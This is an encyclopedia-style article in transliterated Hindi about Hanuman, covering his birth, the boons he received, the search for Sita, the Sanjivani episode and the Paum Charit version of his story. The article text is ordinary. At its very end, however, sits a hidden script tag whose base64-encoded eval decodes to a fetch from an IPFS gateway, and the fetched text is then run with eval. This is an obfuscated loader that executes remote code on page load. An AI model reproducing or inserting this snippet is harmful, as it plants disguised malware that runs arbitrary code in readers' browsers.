हनुमान
hanuman
| |
| any nam | marooti, bajarang bali |
| avatar | bhagavan shiv ke aanshik avatar |
| pita | kesari |
| mata | aanjani |
| dharm pita | vayu dev |
| janm vivaran | apsara puanjikasthali (aanjani nam se prasiddh) kesari namak vanar ki patni thi. vah atyant suandari thi tatha abhooshanoan se susajjit hokar ek parvat shikhar par kh di thi. unake sauandary par mugdh hokar vayu dev ne unaka aliangan kiya. vratadharini aanjani bahut ghabara gayi kiantu vayu dev ke varadan se usaki kokh se hanuman ne janm liya. |
| vrat-var | mangalavar aur shanivar |
| astr-shastr | gada |
| sandarbh granth | valmiki ramayan, shiv puran, pum charit |
| sanbandhit lekh | hanuman jayanti, hanuman chalisa, bajarang ban, arati, hanumanashtak |
| any janakari | ramabhaktoan dvara snan dhyan, bhajan-poojan aur samoohik pooja mean hanuman chalisa aur hanuman ji ki arati ke vishesh ayojan kiya jata hai. |
hanuman hiandoo dharm mean bhagavan shriram ke anany bhakt aur bharatiy mahakavy ramayan mean sabase mahatvapoorn pauranik charitr haian. valmiki ramayan ke anusar hanuman ek vanar vir the. (vastav mean vanar ek vishesh manav jati hi thi, jisaka dharmik laanchhan (chihn) vanar athava usaki laangal thi. pura kathaoan mean yahi vanar (pashu) roop mean varnit hai.) bhagavan ram ko hanuman rrishyamook parvat ke pas mile the. hanuman ji ram ke anany mitr, sahayak aur bhakt siddh hue. sita ka anveshan (khoj) karane ke lie ye lanka ge. ram ke dauty (sandesh dena, doot ka kary) ka inhoanne adbhut nirvah kiya. ram-ravan yuddh mean bhi inaka parakram prasiddh hai. valmiki ramayan sundar kand[1] ke anusar lanka mean samudratat par sthit ek 'arisht' namak parvat hai, jis par chadhakar hanuman ne lanka se lautate samay, samudr ko kood kar par kiya tha. ramavat vaishnav dharm ke vikas ke sath hanuman ka bhi daivikaran hua. ve ram ke parshad aur pun: poojy dev roop mean many ho gaye. dhire-dhire hanumant athava marooti pooja ka ek sampraday hi ban gaya. 'hanumatkalp' mean inake dhyan aur pooja ka vidhan paya jata hai. ramabhaktoan dvara snan dhyan, bhajan-poojan aur samoohik pooja mean hanuman chalisa aur hanuman ji ki arati ke vishesh ayojan kiya jata hai.
janmakatha
apsara puanjikasthali (aanjani nam se prasiddh) kesari namak vanar ki patni thi. vah atyant suandari thi tatha abhooshanoan se susajjit hokar ek parvat shikhar par kh di thi. unake sauandary par mugdh hokar vayu dev ne unaka aliangan kiya. vratadharini aanjani bahut ghabara gayi kiantu vayu dev ke varadan se usaki kokh se hanuman ne janm liya.[2] janm lene ke bad hanuman ne akash mean chamakate hue soory ko phal samajha aur u dakar lene ke lie akash-marg mean gaye. marg mean unaki takkar rahu se ho gayi. rahu ghabaraya hua indr ke pas pahuancha aur bola- 'he indr, tumane mujhe apani kshudha ke samadhan ke lie soory aur chandrama die the. [[chitr:Hanuman-Ram-Laxman.jpg|hanuman ram aur lakshman ko le jate hue|left|thumb|200px]] aj amavasya hai, at: maian soory ko grasane gaya tha, kiantu vahaan to koee aur hi ja raha hai.' indr kruddh hokar airavat par baithakar chal p de. rahu unase bhi pahale ghatanasthal par gaya. hanuman ne use bhi phal samajha tatha usaki or jhapate. usane indr ko avaz di. tabhi hanuman ne airavat ko dekha. use aur bhi b da phal janakar ve pak dane ke lie badhe. indr ne kruddh hokar apane vajr se prahar kiya, jisase hanuman ki bayian tho di toot gayi aur ve niche gire. yah dekhakar pavanadev hanuman ko uthakar ek gufa mean chale gaye. sansar-bhar ki vayu unhoanne rok li. log vayu ke abhav se pi dit hokar marane lage. manushy-roopi praja brahma ke pas gayi. brahma vibhinn devataoan ko lekar pavanadev ke pas pahuanche. unake sparshamatr se hanuman thik ho gaye. sath ae devataoan se brahma ne kaha- 'yah balak bhavishy mean tumhare lie hitakar hoga. at: ise anek varadanoan se vibhooshit karo.'
varadan
- indr ne prasannata se svarn ke kamal ki mala dekar kaha- 'mere vajr se isaki hanu tooti hai, at: yah hanuman kahalayega. mere vajr se yah nahian marega.'
- soory ne apana sauanva bhag hanuman ko de diya aur bhavishy mean sab shastr padhane ka uttaradayitv liya.
- yam ne use apane dand se abhay kar diya ki vah yam ke prakop se nahian mar payega.
- varun ne das lakh varsh tak varshadi mean nahian marane ka var diya.
- kuber ne apane astr-shastroan se nirbhay kar diya.
- mahadev ne kisi bhi astr se n marane ka var diya.
- brahma ne hanuman ko dirghayu bataya aur brahmastr se n marane ka var diya. sath hi yah var bhi pradan kiya ki vah ichchhanusar roop dharan karane mean samarth hoga.
- vishvakarma ne apane banaye astr-shastroan se use nirbhay kar diya.[3]
var-prapti ke uparaant hanuman uddhat bhav se ghoomane lage. yajn karate hue muniyoan ki samagri bikher dete ya unhean tang karate. pita vayu aur kesari ke rokane par bhi ve rukate nahian the. aangira aur bhriguvansh mean utpann rrishiyoan ne kruddh hokar unhean shap diya ki ye apane bal ko bhool jayean. jab koee unhean phir se yad dilae tab unaka bal badhe.[4] [[chitr:Hanuman-Temple-Kankali-Tila-Mathura-1.jpg|thumb|200px|left|hanuman mandir, kankali tila, mathura]]
aanjani ka krodh
aanjani ne hanuman namak putr vanar roop mean dekha to use shiv ke roop se bhinn janakar vah pavan dev se rusht ho gayi. usane hanuman ko shikhar se niche pheank diya. usake girane se parvat choor-choor ho gaya. dharati kaanpi, sab vyakul ho gaye. hanuman ne prithvi par girakar akash mean soory ugata dekh use nigalana chaha. rahu bhag gaya. hanuman indr ki or bhi jhapata. indr ne us par prahar kiya. shiv ne akashavani mean bataya ki vah unaka putr hai, use samast devataoan ke var prapt haian. pavan ne aanjani ko sab kah sunaya aur balak thama diya. hanuman ne soory se vidya sikhi aur guru-dakshinasvaroop yah vachan diya ki vah soory-putr sugriv ka sath dega.[5]
ramakatha mean hanuman
[[chitr:Ram-Hanuman.jpg|thumb|250px|ram aur hanuman]]
sita-haran ke uparaant ram ravan se yuddh karane ki taiyari mean lag gaye. sugriv ki vanar sena ne ram ka poora sath diya. surasa ramayan ke anusar samudr mean rahane vali nagamata thi. sitaji ki khoj mean samudr par karane ke samay surasa ne rakshasi ka roop dharan kar hanuman ka rasta roka aur unhean kha jane ke lie uddhat huee. samajhane par jab vah nahian mani, tab hanuman ne apana sharir usase bhi b da kar liya. jaise-jaise surasa apana muanh badhati jati, vaise-vaise hanuman sharir badhate jate. bad mean hanuman ne achanak hi apana sharir bahut chhota kar liya aur surasa ke muanh mean pravesh karake turant hi bahar nikal aye. surasa ne prasann hokar hanuman ko ashirvad diya tatha unaki saphalata ki kamana ki. surasa ka samana karane ke bad ramabhakt hanuman sitaji ki khoj ke lie age badh gaye.
ramachandr ne hanuman ko apana doot banakar lanka nagari mean ravan ke pas bheja. lanka ke nikat pahuanchakar hanuman ne bahut chhota roop dharan kiya tatha ratri ke aandhakar mean usamean pravesh kiya. lanka ek bhayankar nari ka roop dharan karake hanuman ke pas pahuanchi aur boli- 'maian is nagari ki raksha karati hooan, tum mujhe parast kiye bina isamean pravesh nahian pa sakate.' sath hi lanka ne hanuman ke muanh par ek chapat lagayi. hanuman ne use nari janakar ek halka-sa ghooansa mara kiantu vah gir p di aur parast ho gayi. tadanantar atyant mudit bhav se boli-'mujhe brahma ne varadan diya tha ki jab koee vanar akar tumhean parast kar dega tab samajh lena, rakshasoan ka nash ho jayega. ravan ne sita-haran ke dvara rakshasoan ke nash ko amantrit kiya hai. tum sita ko jakar dhooandho.'
sitaji se bheant
hanuman ne ashokavatika mean sita ko ram ka sandesh diya tatha lanka nagari mean utpat kh da kar diya.[6] anek rakshasoan ko parast karake hanuman ne apani virata ka pradarshan kiya. aant mean ravan ne meghanad ko bheja. meghanad ne brahmastr ka prayog karake hanuman ko baandh liya tatha use ravan ke pas le gaya. ravan ne pahale to hanuman ko mrityudand dene ka vichar kiya kiantu vibhishan ke yah sujhane par ki kisi ke doot ko marana uchit nahian hai, ravan ne unaki pooanchh jalavakar chho d diya. jalati huee pooanchh se hanuman ne samast lanka jala dali, phir sita ko pranam karake, samudr par karake aangad ke pas pahuanche. ram-ravan ke pratyaksh yuddh mean bhi hanuman ka advitiy yogadan tha. yuddhakshetr mean shatruoan ke nash aur mitroan ki paricharya mean vah saman roop se dattachitt rahate the.[7]
sanjivani aushadhi
thumb|250px|left|sanjivani le jate hue hanuman ek bar yuddh karate samay meghanad ne yuddhasthal mean brahmastr ka prayog kiya. usase adhikaansh vanar sena tatha ram-lakshman moorchchhit hokar gir gaye. meghanad prasannatapoorvak lanka mean laut gaya. vibhishan aur hanuman jaanbavan ko dhooandhane lage. ghayal jaanbavan ne vibhishan ko dekhate hi hanuman ka kushal-kshem poochha. vibhishan ke yah poochhane par ki apane ram-lakshman, sena adi sabako chho dakar hanuman ke vishay mean hi kyoan poochha to jaanbavan ne uttar diya ki hanuman hi ek matr aise vyakti haian jo himalay se aushadhi la sakate haian, jo sabake jivan ki raksha karane mean samarth hai. tadanantar jaanbavan ne aushadhiparvat ka marg tatha aushadhiyoan ki pahachan batalayi. usane mrit sanjivani, vishalyakarani, savarnyakarani tatha sandhanakarani namak char aushadhiyaan lane ke lie kaha. hanuman ne avilamb prasthan kiya. aushadhi parvat par pahuanchakar hanuman ne dekha ki aushadhiyaan vilupt ho gayian, at: dikhani band ho gayian. unhoanne kruddh hokar aushadhi parvat ka shikhar utha liya aur u date hue vanar sena tatha ram-lakshman ke nikat pahuanche. parvat se aisi suangadh a rahi thi ki ram aur lakshman uth baithe. yuddh ke karan jitane bhi vanar mritapray p de the, ve sabhi us gandh se uth baithe, kiantu rakshasoan ko unase koee labh nahian hua kyoanki mritakoan ke sammanarth un sabhi rakshasoan ko samudr mean pheank diya gaya tha jo yuddh mean mare gaye the. tadanantar hanuman us parvat-shriang ko pun: parvat par rakh aye.[8]unhoanne ramachandr ki sahayata ki. ravan shiv-bhakt the kiantu ram ne shiv ki ajna grahan karake hi ravan ka nash kiya. shiv ki bhakti se madamast hokar ravan ne ek bar kailash parvat ko ukha d liya tha, phalat: rusht hokar shiv ne shap diya tha- 'koee manushy tumhara nash karega.' isi karan ravan kumargagami ho gaya tha.
pum charit ke anusar
[[chitr:Life-Size-Figure-Of-Hanuman-Mathura-Museum-84.jpg|thumb|180px|vishal kay hanuman, sangrahalay mathura]] varun se ravan ke yuddh mean ravan ki or se hanuman ne yuddh kiya tatha usake samast putroan ko bandi bana liya. varun ne apani putri satyavati ka tatha ravan ne apani duhita anangakusuma ka vivah hanuman se kar diya. sita-haran ke sandarbh mean khar dooshan-vadh ka samachar lekar rakshas-doot hanuman ki sabha mean pahuancha to aant:pur mean shok chha gaya. anangakusuma moorchchhit ho gayi. tabhi sugriv ke doot ne vahaan pahuanchakar kritrim sugriv (sahasagati) ke vadh ka samachar diya tatha kaha ki sugriv ne hanuman ko bulaya hai. hanuman ne ram ke pas pahuanchakar kritajnata-jnapan kiya tatha kritajnatavash shriram ka sath dene ka nishchay kiya. vah rakshas samuday ko shaant karake sita ko ram se milane ke lie chal p de. marg mean maheandr adi ko ram ki sahayatarth pahuanchane ke lie kahate gaye. sasainy hanuman ne lanka mean pahuanchakar vibhishan ko prerit kiya ki vah ravan ko nar-nari sang se bachane ke lie kahe. vibhishan pahale bhi prayatn kar chuka tha tathapi usane phir se ravan se bat karane ki thani. hanuman ne ramapradatt mudrika sita ko di. ram ki virahajany vyatha batakar tatha sita ko n ghabarane ka sandesh dekar hanuman ne sita ka diy. hanumanaji ne sita ko ram ka kushal-kshem sunakar bhojan karane ke lie taiyar kiya. hanuman ki kulakanyaoan ne bhojan prastut kiya. tadanantar hanuman ne sita se kaha- "ap mere kandhe par chadh jaiye, maian ap ko rat tak pahuancha deta hooan." sita ne par-purush ka sparsh karana uchit n samajhakar aisa nahian kiya aur ram tak yah sandesh pahuanchane ke lie kaha ki ve apane poorv vir krityoan ka smaran kar sita ko chhu da le jayean. ravan ko hanuman ke nandan van mean pahuanchakar sita se bat karane ka samachar mila to usane use pak d lane ke lie sevakoan ko bheja. hanuman ne nandan van ke vriksh to d-ta dakar unhean mara-pita. lanka ko tahas-nahas karake vah ravan ke pas pahuancha. ravan ke kahane se use janjiroan se baandh diya gaya. hanuman un bandhanoan ko to dakar kishkiandhapuri ki or chal diye. ram-lakshman ko sita ka sandesh dekar pavan-putr ne apane sahayogiyoan ko ekatr kiya tatha ram ne sabha mandal ko sandesh bheja.[9]
|
|
|
|
|
|
vithika
- chitr:Hanuman 2.jpg
bachchoan ki pahali pasand bal hanuman enimeshan film
- chitr:Luteriya-Hanuman-Vrindavan-1.jpg
luteriya hanuman mandir, vrindavan
- chitr:Hanuman-5.jpg
aushadhiparvat le jate huye hanuman
tika tippani aur sandarbh
- ↑ sundar kand va. ra. 56,26
- ↑ valmiki ramayan, kishkiandha kaand, 66.8-40
- ↑ valmiki ramayan, uttar kaand, 35.14-34 / 36.1-27.–
- ↑ valmiki ramayan, uttar kaand, 36.28-37
- ↑ shiv puran, 7.33-43
- ↑ valmiki ramayan, suandar kaand, 3.19-51
- ↑ valmiki ramayan, suandar kaand, sarg 48-57
- ↑ valmiki ramayan, yuddh kaand 73.68-74, 74.–
- ↑ pum charit, 19.-, 49-50.–52-55
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>